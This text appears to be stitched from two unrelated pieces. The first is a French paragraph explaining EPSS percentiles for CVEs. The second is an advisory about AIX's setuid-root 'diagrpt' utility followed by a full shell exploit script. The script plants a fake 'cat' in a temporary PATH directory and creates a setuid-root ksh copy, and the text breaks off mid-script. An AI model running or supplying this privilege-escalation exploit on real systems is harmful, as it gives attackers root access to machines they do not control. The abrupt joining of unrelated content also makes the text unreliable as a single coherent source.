Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/2916/info AIX ships with a diagnostic reporting utility called 'diagrpt'. This utility is installed setuid root by default. When 'diagrpt' executes, it relies on an environment variable to locate another utility which it executes. This utility is executed by 'diagrpt' as root. An attacker can gain root privileges by having 'diagrpt' execute a malicious program of the same name in a directory under their control. #!/bin/sh # FileName: x_diagrpt.sh # Exploit diagrpt of Aix4.x & 5L to get a uid=0 shell. # Tested : on Aix4.3.3 & Aix5.1. # Author : watercloud@xfocus.org # Site : www.xfocus.org www.xfocus.net # Date : 2003-5-23 # Announce: use as your owner risk! # # Note : # It does not work on all versions of tsm command. # Use this command to test if your version can exploit or not : # bash$ strings /usr/lpp/diagnostics/bin/diagrpt |grep cat # diagrpt.cat # cat %s <--- here ! have the bug !!! can exploit! # O_DIR=`/bin/pwd` cd /tmp ; mkdir .ex$$ ; cd .ex$$ PATH=/tmp/.ex$$:$PATH ; export PATH /bin/cat >cat<<EOF #!/bin/ksh -p cp /bin/ksh ./kfsh chown root ./kfsh chmod 777 ./kfsh chmod u+s ./kfsh EOF chmod a+x cat DIAGDATADIR=/tmp/.ex$$ ; export DIAGDATADIR touch /tmp/.ex$$/diagrpt1.dat /usr/lpp/diagnostics/bin/diagrpt -o 010101 stty echo stty intr '^C' erase '^H' eof '^D' eol '^@' if [ -e ./kfsh ] ;then echo "" echo "====================" pwd ls -l ./kfsh echo "Exploit ok !
